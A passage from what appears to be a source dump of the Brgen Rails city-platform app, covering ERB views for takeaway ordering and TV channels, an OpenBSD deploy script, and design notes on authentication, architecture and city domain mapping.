(\u00f8re)\" %&gt;&lt;%= f.number_field :min_order_cents %&gt;\n    \n&lt;%= f.check_box :active %&gt;&lt;%= f.label :active, \"Active\" %&gt;\n    \n&lt;%= f.submit \"Save\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/takeaway/restaurants/show.html.erb`\n```erb\n&lt;% content_for :title, @restaurant.name %&gt;\n\n\n\n  \n&lt;%= @restaurant.name %&gt;\n  \n\n    &lt;% if authenticated? &amp;&amp; @restaurant.owner?(Current.user) %&gt;\n      &lt;%= link_to \"Edit\", edit_takeaway_restaurant_path(@restaurant), class: \"btn btn-ghost btn-sm\" %&gt;\n    &lt;% elsif authenticated? &amp;&amp; @favorited %&gt;\n      &lt;%= button_to \"Unsave\", takeaway_restaurant_favorite_restaurant_path(@restaurant), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n    &lt;% elsif authenticated? %&gt;\n      &lt;%= button_to \"Save\", takeaway_restaurant_favorite_restaurant_path(@restaurant), method: :post, class: \"btn btn-primary btn-sm\" %&gt;\n    &lt;% end %&gt;\n  \n\n\n\n\n  \n&lt;%= @restaurant.description %&gt;\n  \n&lt;%= @restaurant.cuisine_type %&gt; \u00b7 &lt;%= @restaurant.address %&gt;, &lt;%= @restaurant.city %&gt;\n  \nMin order: &lt;%= @restaurant.min_order_display %&gt; \u00b7 Delivery: &lt;%= @restaurant.delivery_fee_display %&gt; \u00b7 &lt;%= pluralize(@restaurant.favorites.size, \"save\") %&gt;\n\n\n&lt;% if authenticated? &amp;&amp; @restaurant.owner?(Current.user) %&gt;\n  \n\n    \nAdd menu item\n    \n\n      &lt;%= form_with scope: :takeaway_menu_item, url: takeaway_restaurant_menu_items_path(@restaurant) do |f| %&gt;\n        \n&lt;%= f.text_field :name, placeholder: \"Name\", required: true %&gt;\n        \n&lt;%= f.number_field :price_cents, placeholder: \"Price (\u00f8re)\", required: true %&gt;\n        \n&lt;%= f.text_field :description, placeholder: \"Description\" %&gt;\n        \n&lt;%= f.submit \"Add\", class: \"btn btn-primary btn-sm\" %&gt;\n      &lt;% end %&gt;\n    \n  \n&lt;% end %&gt;\n\n\n\n  \nMenu\n  &lt;% if @menu_items.empty? %&gt;\n    \nNo items available yet.\n  &lt;% elsif authenticated? %&gt;\n    &lt;%= form_with scope: :takeaway_order, url: takeaway_restaurant_orders_path(@restaurant) do |f| %&gt;\n      &lt;% @menu_items.each do |item| %&gt;\n        \n\n          \n\n            &lt;%= item.name %&gt; \u00b7 &lt;%= item.price_display %&gt;\n            &lt;% if item.description.present? %&gt;\n&lt;%= item.description %&gt;&lt;% end %&gt;\n          \n          &lt;%= number_field_tag \"takeaway_order[items][#{item.id}]\", 0, min: 0, class: \"qty-field\", aria: { label: \"Quantity for #{item.name}\" } %&gt;\n        \n      &lt;% end %&gt;\n      \n\n        &lt;%= f.label :delivery_address, \"Delivery address\" %&gt;\n        &lt;%= f.text_field :delivery_address, required: true %&gt;\n      \n      \n\n        &lt;%= f.label :special_instructions, \"Special instructions (optional)\" %&gt;\n        &lt;%= f.text_area :special_instructions %&gt;\n      \n      \n&lt;%= f.submit \"Place order\", class: \"btn btn-primary\" %&gt;\n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    \n&lt;%= link_to \"Sign in to order\", new_session_path %&gt;\n  &lt;% end %&gt;\n\n\n\n\n  \nReviews from neighbours\n  &lt;% if @reviews.any? %&gt;\n    &lt;% @reviews.each do |r| %&gt;\n      \n\n        \n\u2605&lt;%= r.rating %&gt; \u00b7 &lt;%= r.user&amp;.display_name || \"anon\" %&gt; \u00b7 &lt;%= time_ago_in_words(r.created_at) %&gt; ago\n        &lt;% if r.body.present? %&gt;\n&lt;%= r.body %&gt;&lt;% end %&gt;\n      \n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    \nNo reviews from neighbours yet.\n  &lt;% end %&gt;\n\n\n&lt;% if @can_review %&gt;\n\n\n  \nLeave a review\n  &lt;%= form_with scope: :takeaway_review, url: takeaway_restaurant_reviews_path(@restaurant) do |f| %&gt;\n    \n\n      &lt;%= f.label :rating, \"Rating (1-5)\" %&gt;\n      &lt;%= f.number_field :rating, min: 1, max: 5, required: true %&gt;\n    \n    \n\n      &lt;%= f.label :body, \"Comments (optional)\" %&gt;\n      &lt;%= f.text_area :body, rows: 3 %&gt;\n    \n    \n&lt;%= f.submit \"Post review\", class: \"btn btn-primary btn-sm\" %&gt;\n  &lt;% end %&gt;\n\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/tv/channels/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit channel\" %&gt;\n\n\n\nEdit channel\n\n\n\n  &lt;%= form_with model: @channel, url: tv_channel_path(@channel), method: :patch do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @channel %&gt;\n    \n&lt;%= f.label :name %&gt;&lt;%= f.text_field :name, required: true %&gt;\n    \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 4 %&gt;\n    \n&lt;%= f.label :avatar %&gt;&lt;%= f.file_field :avatar, accept: \"image/*\" %&gt;\n    \n&lt;%= f.label :banner %&gt;&lt;%= f.file_field :banner, accept: \"image/*\" %&gt;\n    \n&lt;%= f.submit \"Save\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/tv/channels/index.html.erb`\n```erb\n&lt;% content_for :title, \"Channels\" %&gt;\n\n\n\n  \nChannels\n  &lt;%= link_to \"New channel\", new_tv_channel_path, class: \"btn btn-primary btn-sm\" if authenticated? %&gt;\n\n\n&lt;% @channels.each do |c| %&gt;\n  \n\n    \n&lt;%= link_to c.name, tv_channel_path(c) %&gt;&lt;% if c.live? %&gt; Live&lt;% end %&gt;\n    \n&lt;%= c.subscribers_count %&gt; subscribers\n  \n&lt;% end %&gt;\n&lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/brgen/app/views/tv/channels/new.html.erb`\n```erb\n&lt;% content_for :title, \"New channel\" %&gt;\n\n\n\nNew channel\n\n\n\n  &lt;%= form_with model: @channel, url: tv_channels_path do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @channel %&gt;\n    \n&lt;%= f.label :name %&gt;&lt;%= f.text_field :name, required: true %&gt;\n    \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 4 %&gt;\n    \n&lt;%= f.label :avatar %&gt;&lt;%= f.file_field :avatar, accept: \"image/*\" %&gt;\n    \n&lt;%= f.label :banner %&gt;&lt;%= f.file_field :banner, accept: \"image/*\" %&gt;\n    \n&lt;%= f.submit \"Create channel\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/tv/channels/show.html.erb`\n```erb\n&lt;% content_for :title, @channel.name %&gt;\n\n\n\n  \n\n    \nBrgen TV channel\n    \n&lt;%= @channel.name %&gt;\n  \n  \n\n    &lt;% if authenticated? &amp;&amp; Current.user == @channel.user %&gt;\n      &lt;%= link_to \"Upload video\", new_tv_channel_video_path(@channel), class: \"btn btn-primary btn-sm\" %&gt;\n      &lt;%= link_to \"Edit\", edit_tv_channel_path(@channel), class: \"btn btn-ghost btn-sm\" %&gt;\n    &lt;% elsif authenticated? %&gt;\n      &lt;% if @channel.subscriptions.exists?(user: Current.user) %&gt;\n        &lt;%= button_to \"Unsubscribe\", unsubscribe_tv_channel_path(@channel), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n      &lt;% else %&gt;\n        &lt;%= button_to \"Subscribe\", subscribe_tv_channel_path(@channel), method: :post, class: \"btn btn-primary btn-sm\" %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  \n\n\n\n\n  \n\n    &lt;%= pluralize(@channel.subscribers_count.to_i, \"subscriber\") %&gt;\n    &lt;%= pluralize(@channel.total_views.to_i, \"total view\") %&gt;\n    &lt;%= pluralize(@videos.count, \"video\") %&gt; shown\n  \n  &lt;% if @channel.description.present? %&gt;\n    \n&lt;%= simple_format(@channel.description) %&gt;\n  &lt;% else %&gt;\n    \nThis channel has not added a description yet.\n  &lt;% end %&gt;\n\n\n\n\n  \nVideos\n  &lt;% if @videos.any? %&gt;\n    &lt;%= render @videos %&gt;\n  &lt;% else %&gt;\n    \n\n      \nNo published videos yet.\n    \n  &lt;% end %&gt;\n\n&lt;%= pagy_nav(@pagy) if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/brgen/app/views/tv/home/index.html.erb`\n```erb\n&lt;% content_for :title, \"Brgen TV\" %&gt;\n\n&lt;% unless authenticated? %&gt;\n  &lt;% content_for :splash do %&gt;\n    \n\n      \nBrgen TV\n      \nLive streams and videos from your city. Channels, broadcasts, subscriptions.\n      \n\n        live stream\n        city channels\n        subscribe\n        stream key\n      \n      \ntap anywhere to browse \u00b7 &lt;%= link_to \"sign in\", new_session_path, style: \"color:inherit\" %&gt; to broadcast\n    \n  &lt;% end %&gt;\n&lt;% end %&gt;\n\n\n\n  \nBrgen TV\n  \n\n    &lt;%= link_to \"All channels\", tv_channels_path, class: \"btn btn-ghost\" %&gt;\n    &lt;% if authenticated? %&gt;&lt;%= link_to \"Create channel\", new_tv_channel_path, class: \"btn\" %&gt;&lt;% end %&gt;\n  \n\n\n&lt;% if @live.any? %&gt;\n  \n\n    \nLive now\n    &lt;% @live.each do |b| %&gt;\n      \n\n        &lt;%= link_to tv_channel_path(b.channel) do %&gt;\n          Live\n          &lt;%= b.title %&gt; \u2014 &lt;%= b.channel.name %&gt;\n        &lt;% end %&gt;\n      \n    &lt;% end %&gt;\n  \n&lt;% end %&gt;\n\n\n\n  \nTrending\n  &lt;%= render @trending %&gt;\n  &lt;%= pagy_nav(@pagy_trending) if @pagy_trending&amp;.pages.to_i &gt; 1 %&gt;\n\n\n\n\n  \nRecent\n  &lt;%= render @recent %&gt;\n\n```\n\n## `rails/brgen/app/views/tv/live_streams/index.html.erb`\n```erb\n&lt;% content_for :title, t(\"tv.live_streams.title\", default: \"Live streams\") %&gt;\n\n&lt;%= tag.section class: \"tv-live-streams\" do %&gt;\n  &lt;%= tag.header do %&gt;\n    &lt;%= tag.h1 t(\"tv.live_streams.title\", default: \"Live streams\") %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.div class: \"live-stream-grid\" do %&gt;\n    &lt;% @live_streams.each do |live_stream| %&gt;\n      &lt;%= tag.article class: \"live-stream-card\" do %&gt;\n        &lt;%= tag.h2 link_to(live_stream.title, tv_live_stream_path(live_stream)) %&gt;\n        &lt;%= tag.p live_stream.status %&gt;\n        &lt;%= tag.p live_stream.description if live_stream.description.present? %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/tv/live_streams/new.html.erb`\n```erb\n&lt;% content_for :title, t(\"tv.live_streams.new\", default: \"New live stream\") %&gt;\n\n&lt;%= tag.section class: \"tv-live-stream-form\" do %&gt;\n  &lt;%= tag.h1 t(\"tv.live_streams.new\", default: \"New live stream\") %&gt;\n\n  &lt;%= form_with model: [:tv, @live_stream] do |form| %&gt;\n    &lt;%= tag.fieldset do %&gt;\n      &lt;%= form.label :title %&gt;\n      &lt;%= form.text_field :title, required: true %&gt;\n    &lt;% end %&gt;\n\n    &lt;%= tag.fieldset do %&gt;\n      &lt;%= form.label :description %&gt;\n      &lt;%= form.text_area :description, rows: 5 %&gt;\n    &lt;% end %&gt;\n\n    &lt;%= form.submit %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/tv/live_streams/show.html.erb`\n```erb\n&lt;% content_for :title, @live_stream.title %&gt;\n\n&lt;%= tag.article class: \"tv-live-stream\" do %&gt;\n  &lt;%= tag.header do %&gt;\n    &lt;%= tag.h1 @live_stream.title %&gt;\n    &lt;%= tag.p @live_stream.status %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.section class: \"live-stream-details\" do %&gt;\n    &lt;%= tag.p @live_stream.description if @live_stream.description.present? %&gt;\n    &lt;%= tag.p t(\"tv.live_streams.viewers\", count: @live_stream.viewer_count, default: \"%{count} viewers\") %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.section class: \"live-stream-chat\" do %&gt;\n    &lt;%= tag.h2 t(\"tv.live_streams.chat\", default: \"Chat\") %&gt;\n    &lt;%= turbo_stream_from \"tv:live_stream:#{@live_stream.id}:entries\" %&gt;\n    &lt;%= tag.div id: \"tv-live-stream-#{@live_stream.id}-entries\" do %&gt;\n      &lt;% @stream_chats.each do |entry| %&gt;\n        &lt;%= tag.p entry.message %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/tv/videos/_tv_video.html.erb`\n```erb\n\n\n  &lt;%= link_to tv_video_path(tv_video) do %&gt;\n    &lt;% if tv_video.thumbnail.attached? %&gt;\n      &lt;%= image_tag tv_video.thumbnail, alt: tv_video.title, loading: \"lazy\" %&gt;\n    &lt;% else %&gt;\n      &lt;%= tv_video.title[0] %&gt;\n    &lt;% end %&gt;\n    \n&lt;%= tv_video.title %&gt;\n    &lt;%= tv_video.channel.name %&gt; \u00b7 &lt;%= tv_video.views_count %&gt; views \u00b7 &lt;%= tv_video.duration_formatted %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/tv/videos/new.html.erb`\n```erb\n&lt;% content_for :title, \"Upload video\" %&gt;\n\n\n\nUpload video\n\n\n\n  &lt;%= form_with model: @video, url: tv_videos_path, multipart: true do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @video %&gt;\n    \n&lt;%= f.label :tv_channel_id, \"Channel\" %&gt;&lt;%= f.collection_select :tv_channel_id, Current.user.tv_channels.order(:name), :id, :name, include_blank: false %&gt;\n    \n&lt;%= f.label :title %&gt;&lt;%= f.text_field :title, required: true %&gt;\n    \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 4 %&gt;\n    \n&lt;%= f.label :video_file %&gt;&lt;%= f.file_field :video_file, accept: \"video/*\", required: true %&gt;\n    \n&lt;%= f.label :thumbnail %&gt;&lt;%= f.file_field :thumbnail, accept: \"image/*\" %&gt;\n    \n&lt;%= f.submit \"Upload\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/tv/videos/show.html.erb`\n```erb\n&lt;% content_for :title, @video.title %&gt;\n\n\n\n  \n\n    \n&lt;%= link_to @video.channel.name, tv_channel_path(@video.channel) %&gt;\n    \n&lt;%= @video.title %&gt;\n  \n  Share\n\n\n&lt;% if @video.video_file.attached? %&gt;\n  \n\n    &lt;%= video_tag url_for(@video.video_file), controls: true, class: \"video-player\", style: \"width:100%;max-height:420px;background:#000;display:block\" %&gt;\n  \n&lt;% elsif @video.thumbnail.attached? %&gt;\n  \n\n    &lt;%= image_tag @video.thumbnail, style: \"width:100%;max-height:420px;object-fit:cover;display:block\" %&gt;\n  \n&lt;% end %&gt;\n\n\n\n  \n\n    &lt;%= pluralize(@video.views_count.to_i, \"view\") %&gt;\n    &lt;%= @video.duration_formatted %&gt;\n    &lt;%= @video.status %&gt;\n    &lt;% if @video.published_at.present? %&gt;&lt;%= time_ago_in_words(@video.published_at) %&gt; ago&lt;% end %&gt;\n  \n  &lt;% if @video.description.present? %&gt;\n    \n&lt;%= simple_format(@video.description) %&gt;\n  &lt;% else %&gt;\n    \nNo description yet.\n  &lt;% end %&gt;\n\n\n\n\n  \nChannel\n  \n\n    &lt;%= link_to @video.channel.name, tv_channel_path(@video.channel) %&gt;\n    \n&lt;%= pluralize(@video.channel.subscribers_count.to_i, \"subscriber\") %&gt; \u00b7 &lt;%= pluralize(@video.channel.total_views.to_i, \"total view\") %&gt;\n    &lt;% if authenticated? &amp;&amp; Current.user != @video.channel.user %&gt;\n      &lt;% if @video.channel.subscriptions.exists?(user: Current.user) %&gt;\n        &lt;%= button_to \"Unsubscribe\", unsubscribe_tv_channel_path(@video.channel), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n      &lt;% else %&gt;\n        &lt;%= button_to \"Subscribe\", subscribe_tv_channel_path(@video.channel), method: :post, class: \"btn btn-primary btn-sm\" %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  \n\n\n\n\n  \nDiscussion\n  &lt;% if @video.comments.any? %&gt;\n    &lt;% @video.comments.order(created_at: :asc).each do |comment| %&gt;\n      \n\n        \n&lt;%= comment.user.email_address %&gt;\n        \n&lt;%= comment.body %&gt;\n      \n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    \nNo comments yet.\n  &lt;% end %&gt;\n  &lt;% if authenticated? %&gt;\n    &lt;%= form_with url: tv_video_comments_path(@video) do |f| %&gt;\n      \n\n        &lt;%= f.label :body, \"Add a comment\" %&gt;\n        &lt;%= f.text_area :body, rows: 3, placeholder: \"Write something\u2026\" %&gt;\n      \n      &lt;%= f.submit \"Post comment\", class: \"btn btn-primary btn-sm\" %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/typing_indicators/_indicator.html.erb`\n```erb\n\n\n  &lt;% typers = conversation.typing_indicators.active.includes(:user).reject { |t| t.user_id == except_user&amp;.id } %&gt;\n  &lt;% if typers.any? %&gt;\n    &lt;%= typers.map { |t| t.user.username }.join(\", \") %&gt; typing...\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/votes/create.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace dom_id(@votable) do %&gt;\n  &lt;% case @votable %&gt;\n  &lt;% when Post %&gt;&lt;%= render \"posts/post\", post: @votable %&gt;\n  &lt;% when Comment %&gt;&lt;%= render \"comments/comment\", comment: @votable %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/brgen.sh`\n```bash\n#!/usr/bin/env zsh\n# brgen.sh \u2014 deploys the tracked Brgen Rails tree at app/.\nset -euo pipefail\n\nAPP_NAME=brgen\nAPP_DIR=/home/${APP_NAME}/app\nAPP_PORT=38182\nAPP_DOMAIN=brgen.no\nSCRIPT_DIR=${0:a:h}\nSRC_DIR=${SCRIPT_DIR}\nSHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}\n\n. \"${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh\"\n\nneed_cmd ruby34 bundle doas\n\n[[ -d $SRC_DIR ]] || { log_err \"missing source tree: $SRC_DIR\"; exit 1; }\n\nlog \"${APP_NAME} \u2014 deploying tracked tree \u2192 ${APP_DIR}\"\n\nid \"$APP_NAME\" &gt;/dev/null 2&gt;&amp;1 || doas useradd -m -L daemon -s /bin/ksh \"$APP_NAME\"\ndoas mkdir -p \"$APP_DIR\"\n\n# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)\ndoas cp -R \"${SCRIPT_DIR:h}/shared/bin/.\" \"${APP_DIR}/bin/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/public/.\" \"${APP_DIR}/public/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/config/.\" \"${APP_DIR}/config/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/app/.\" \"${APP_DIR}/app/\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/Rakefile\" \"${APP_DIR}/Rakefile\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/config.ru\" \"${APP_DIR}/config.ru\" 2&gt;/dev/null || true\n\n# Per-app tracked tree last (specialized instances + custom overrides win)\ndoas cp -R \"${SRC_DIR}/.\" \"${APP_DIR}/\"\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"$APP_DIR\"\n\ncd \"$APP_DIR\"\n\ntypeset bundle_home=\"/home/${APP_NAME}/.bundle\"\ndoas mkdir -p \"$bundle_home\"\n\nif [[ ! -d ${bundle_home}/gems ]]; then\n  if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then\n    log \"Bootstrapping gems from ${SHARED_BUNDLE_CACHE}\"\n    doas cp -R \"${SHARED_BUNDLE_CACHE}/gems\" \"$bundle_home/\"\n    [[ -d ${SHARED_BUNDLE_CACHE}/cache ]] &amp;&amp; doas cp -R \"${SHARED_BUNDLE_CACHE}/cache\" \"$bundle_home/\" || true\n  else\n    log_warn \"No shared bundle cache found; bundle install will resolve gems normally\"\n  fi\n  doas chown -R \"${APP_NAME}:${APP_NAME}\" \"$bundle_home\"\nfi\n\ndoas mkdir -p \"${APP_DIR}/.bundle\"\nprint -- \"---\\nBUNDLE_PATH: \\\"${bundle_home}/gems\\\"\" | doas tee \"${APP_DIR}/.bundle/config\" &gt;/dev/null\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"${APP_DIR}/.bundle\"\n\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; bundle config set --local deployment true &amp;&amp; bundle config set --local without 'development test' &amp;&amp; RAILS_ENV=production bundle install\"\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:create db:migrate\"\n[[ -f ${APP_DIR}/db/seeds.rb ]] &amp;&amp; doas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:seed\" || true\n\ninstall_rcd \"$APP_NAME\" \"$APP_DIR\" \"$APP_PORT\" \"$APP_NAME\"\n[[ -n $APP_DOMAIN ]] &amp;&amp; relayd_add_relay \"$APP_DOMAIN\" \"$APP_PORT\"\n\ndoas rcctl restart \"$APP_NAME\" || doas rcctl start \"$APP_NAME\"\nlog_ok \"$APP_NAME live on :$APP_PORT\"\n```\n\n## `rails/brgen/brgen_AUTH.md`\n```markdown\n# brgen auth\n\n## Decision\n\nUse Rails 8 custom authentication as the primary auth stack.\n\nDo not use Devise as the core session system.\n\nUse external identity providers through a small adapter layer:\n\n- Vipps / BankID for Norwegian high-trust login\n- generic OpenID Connect where provider support exists\n- guest identity for anonymous posting and chat\n\n## Why not Devise core\n\nDevise solves standard account auth.\n\nbrgen needs a locality-aware identity graph:\n\n- guest users\n- anonymous posting\n- chat presence\n- trust scores\n- city-scoped reputation\n- verified locals\n- verified merchants\n- BankID assurance\n- cross-subapp sessions\n- moderation state\n- account upgrades\n\nThat is not a simple Devise-shaped problem.\n\nA custom Rails 8 auth layer keeps the domain model explicit.\n\n## Devise-guests\n\nDo not depend on `devise-guests` as a hard platform dependency.\n\nImplement guest identity directly.\n\nGuest identity must support:\n\n- anonymous posts\n- chat presence\n- rate limits\n- abuse history\n- later account upgrade\n- merge into verified account\n- safe deletion\n\nA guest is not fake authentication. It is a real low-assurance identity.\n\n## Assurance levels\n\nUse explicit identity assurance.\n\n| Level | Meaning | Examples |\n|---|---|---|\n| `guest` | browser/session identity | anonymous posting, chat read/write with limits |\n| `account` | email/password account | normal posting, follows, saved profile |\n| `phone` | phone verified | marketplace contact, stronger anti-spam |\n| `bankid` | Norwegian high-assurance identity | payments, merchant verification, high-trust actions |\n| `merchant` | verified business | restaurant, shop, paid listing, takeaway |\n| `moderator` | trusted local moderator | local moderation actions |\n\nTrust should depend on assurance plus behavior. Assurance alone is not reputation.\n\n## Vipps / BankID\n\nFor Norwegian sites, login should support Vipps / BankID when available.\n\nImplementation rule:\n\n- hide provider details behind `IdentityProvider`\n- store provider subject identifiers, not assumptions about national ID payloads\n- request the minimum claims needed\n- keep BankID login separate from payment authorization\n- require explicit user consent before linking identities\n\n## Core models\n\nSuggested models:\n\n- `User`\n- `Session`\n- `GuestIdentity`\n- `IdentityProvider`\n- `ExternalIdentity`\n- `IdentityAssurance`\n- `TrustSignal`\n- `ReputationScore`\n- `AccountMerge`\n- `ModerationFlag`\n\n## Guest upgrade flow\n\nA guest can become a full user without losing history.\n\nFlow:\n\n1. guest acts\n2. guest hits action requiring account\n3. user creates account or uses provider login\n4. system links guest identity to user\n5. system preserves allowed posts, chats, and trust signals\n6. system keeps abuse history attached\n\nNever erase negative trust signals during account upgrade.\n\n## Anonymous posting\n\nAnonymous posting must mean public anonymity, not system anonymity.\n\nThe system should retain:\n\n- author identity\n- city\n- trust state\n- moderation state\n- abuse signals\n\nThe public should see an anonymous label.\n\nModeration should still know the actor.\n\n## Chat\n\nGuest chat is allowed only with limits.\n\nRequire stronger assurance for:\n\n- private DMs\n- marketplace seller contact\n- dating messages\n- repeated links\n- media uploads\n- high-volume posting\n\n## Rails implementation\n\nUse Rails 8 generated authentication as the base shape:\n\n- `User`\n- `Session`\n- signed session cookie\n- password reset\n- rate limits\n\nExtend it with:\n\n- guest session creation\n- external identity linking\n- assurance levels\n- trust signals\n- account merge flow\n\n## Controller contract\n\nApplication controllers should expose:\n\n- `authenticated?`\n- `current_user`\n- `guest?`\n- `verified?`\n- `requires_account!`\n- `requires_bankid!`\n- `requires_merchant!`\n\n## Security rules\n\n- Host determines locale before auth views render.\n- Unknown hosts return 404.\n- Guest sessions must rotate on upgrade.\n- Provider callback state must be signed and single-use.\n- External identity linking must require a logged-in session or explicit callback flow.\n- Do not trust email alone from external providers.\n- Do not log identity tokens.\n\n## Product rule\n\nDo not make login the first user action.\n\nLet users read, explore, chat lightly, and post anonymously with limits.\n\nRequire stronger identity only when risk increases.\n```\n\n## `rails/brgen/brgen_CORE.md`\n```markdown\n# Brgen Core\n\nBrgen is a city platform. One Rails app serves posts, communities, marketplace, takeaway, dating, TV, playlist, messaging, and nearby discovery.\n\nThe loop: see what matters nearby, act, leave a trust signal, improve the next recommendation.\n\n## Stack\n\n- Rails 8\n- SQLite\n- Falcon\n- Hotwire\n- OpenBSD\n- relayd SNI routing\n\n## Product surfaces\n\n- posts and comments\n- communities\n- marketplace listings and offers\n- restaurant menus and orders\n- dating profiles, likes, and matches\n- TV channels, videos, and subscriptions\n- playlists, tracks, and listens\n- nearby discovery\n- messages and conversations\n- trust and moderation\n\n## Activity graph\n\nBrgen should operate as one city activity graph. Subapps should not build separate feeds, notification systems, search indexes, or moderation stacks.\n\nImportant actions emit an activity event with actor, locality, visibility, moderation state, source vertical, event name, object type, object id, and creation time.\n\nCommon events: ListingCreated, MarketplaceOfferSent, OrderPlaced, TakeawayOrderUpdated, PlaylistShared, VideoPublished, CommentCreated, ReactionAdded, and MessageSent.\n\nModern implementation (2025-2026 Hotwire + graph patterns): Use Turbo Streams + Action Cable (or StimulusReflex) to surface the unified graph as live local activity. Power recommendations and discovery from the single event stream rather than per-vertical logic. See shared/WIRING_NOTES.md for family-wide guidance.\n\n## Feed\n\nThe feed is a view over the activity graph. It ranks posts, comments, listings, playlists, videos, restaurant activity, local events, and recommendations by locality, freshness, moderation state, social relevance, recommendation weight, and vertical filters.\n\nUsers should filter by marketplace, playlist, TV, takeaway, recipes, and discussion without leaving the shared graph.\n\n## Search\n\nUse one search and discovery layer for posts, comments, listings, playlists, videos, profiles, restaurants, and events.\n\nSearch should be locality-aware, moderation-aware, and ready for semantic ranking. Subapps contribute indexed entities and ranking metadata. They do not create isolated search systems.\n\n## Media\n\nUse one media pipeline for uploads, image processing, video processing, thumbnails, gallery rendering, metadata extraction, moderation, and storage.\n\nUse Active Storage, Turbo, Stimulus Components, stimulus-lightbox, and lightGallery.js. Keep lightGallery.js license keys in credentials or environment variables. Do not commit them.\n\n## Moderation\n\nUse one moderation kernel for reports, visibility states, review queues, spam detection, media review, locality-aware moderation, trust scoring, and audit logs.\n\nTargets include posts, comments, listings, videos, playlists, profiles, messages, restaurants, and orders. Subapps add policies and review surfaces. They do not duplicate infrastructure.\n\n## Deploy\n\nRun from the repository root:\n\n`doas zsh DEPLOY/rails/brgen/brgen.sh`\n```\n\n## `rails/brgen/brgen_DOMAIN_MATRIX.md`\n```markdown\n# brgen domain matrix\n\nThis file maps the domains declared in `DEPLOY/openbsd/openbsd.sh` to Rails locale, city identity, marketplace label, and subapp surfaces.\n\n`openbsd.sh` is the DNS source of truth. Rails must mirror this map before production traffic goes live.\n\n## Rule\n\nA request host decides four things:\n\n1. city\n2. locale\n3. currency\n4. active subapp\n\nDo not infer locale from browser headers before checking the host. Host wins.\n\n## Shared subapps\n\nEvery brgen city domain should support these surfaces unless explicitly disabled:\n\n- marketplace\n- playlist\n- dating\n- tv\n- takeaway\n- maps\n\n`brgen.no` also declares `ai`.\n\n## Marketplace aliases\n\n| Label | Language | Domains |\n|---|---|---|\n| `markedsplass` | Norwegian | `.no` city domains |\n| `markadur` | Icelandic | `reykjavk.is` |\n| `markedsplads` | Danish | `kbenhvn.dk` |\n| `marknadsplats` | Swedish | Swedish city domains |\n| `markkinapaikka` | Finnish | `hlsinki.fi` |\n| `marktplaats` | Dutch | Dutch city domains |\n| `marche` | French | French and Belgian city domains |\n| `marktplatz` | German | German, Swiss, Liechtenstein, Polish city domains for now |\n| `mercato` | Italian | `mlan.it` |\n| `mercado` | Portuguese | `lisbon.pt` |\n| `marketplace` | English | UK and US city domains |\n\n## City domains\n\n| Domain | City | Country | Locale | Currency | Marketplace subdomain |\n|---|---|---|---|---|---|\n| `brgen.no` | Bergen | Norway | `nb` | `NOK` | `markedsplass` |\n| `longyearbyn.no` | Longyearbyen | Norway | `nb` | `NOK` | `markedsplass` |\n| `oshlo.no` | Oslo | Norway | `nb` | `NOK` | `markedsplass` |\n| `stvanger.no` | Stavanger | Norway | `nb` | `NOK` | `markedsplass` |\n| `trmso.no` | Troms\u00f8 | Norway | `nb` | `NOK` | `markedsplass` |\n| `trndheim.no` | Trondheim | Norway 